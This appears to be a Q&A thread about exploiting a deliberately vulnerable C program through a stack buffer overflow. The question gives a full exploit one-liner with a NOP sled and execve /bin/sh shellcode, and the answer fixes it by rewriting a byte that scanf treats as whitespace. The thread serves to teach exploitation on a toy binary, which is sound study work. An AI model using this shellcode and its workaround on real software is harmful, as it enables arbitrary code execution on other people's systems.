2
#include <stdio.h>

void secret()
{
    printf("Congratulations!\n");
}

void echo()
{
    char array[60];
    scanf("%s", array);
    printf("You entered: %s\n", array);    
}

int main()
{
    echo();
    return 0;
}

above is the code which I am trying to exploit.

I have found the ebp address using gdb, although I know it's difficult to point to the exact location. I have used NOP sled technique

buffer size allocated - 0x44 - 68bytes

shell code is - 25 bytes

python -c 'print "\x90"*47 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa8\xbb\xff\xff"' | ./test

I am trying to jump somewhere in the middle of NOP sled.

And not getting a segmentation fault, but neither am I getting the access to the shell.

5
  • Did you check for bad characters? Aug 29 '18 at 10:09
  • Yes, I did. Actually, when I try to jump to the address where the secret function is, it works perfectly. Aug 29 '18 at 10:12
  • Take the one which is 28 bytes in length, you can find it in exploit-db od you can make your own. Probably shellcode is bad Aug 29 '18 at 10:57
  • tried the one which is 28 bytes in length and 23 bytes in length. got it from shellstorm, But same result. Aug 29 '18 at 11:47
  • Take a look at your disassembled HEX-shellcode and see if the ASM code makes sense. If it does and you still have the problem, TBH, I think it would be best for you to give us a complete walkthrough of the steps you took to reach that point. How you got the lengths, how you got the shellcode, how you found the bad characters and so on. Also, it'd be good to know what registers you take over and with what exact offset (look it up with Kali's pattern_create and pattern_offset). Aug 30 '18 at 6:46
0

The problem is the \x0b character in your shellcode. It is a whitespace character (VT, Vertical Tab) and scanf stops reading at whitespace characters.

You may replace \xb0\x0b by \xb0\x08\x40\x40\x40 which contains no whitespace characters.

b0 0b                   mov    al,0xb

is equivalent to

b0 08                   mov    al,0x8
40                      inc    eax
40                      inc    eax
40                      inc    eax 

There may exist shorter solutions.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.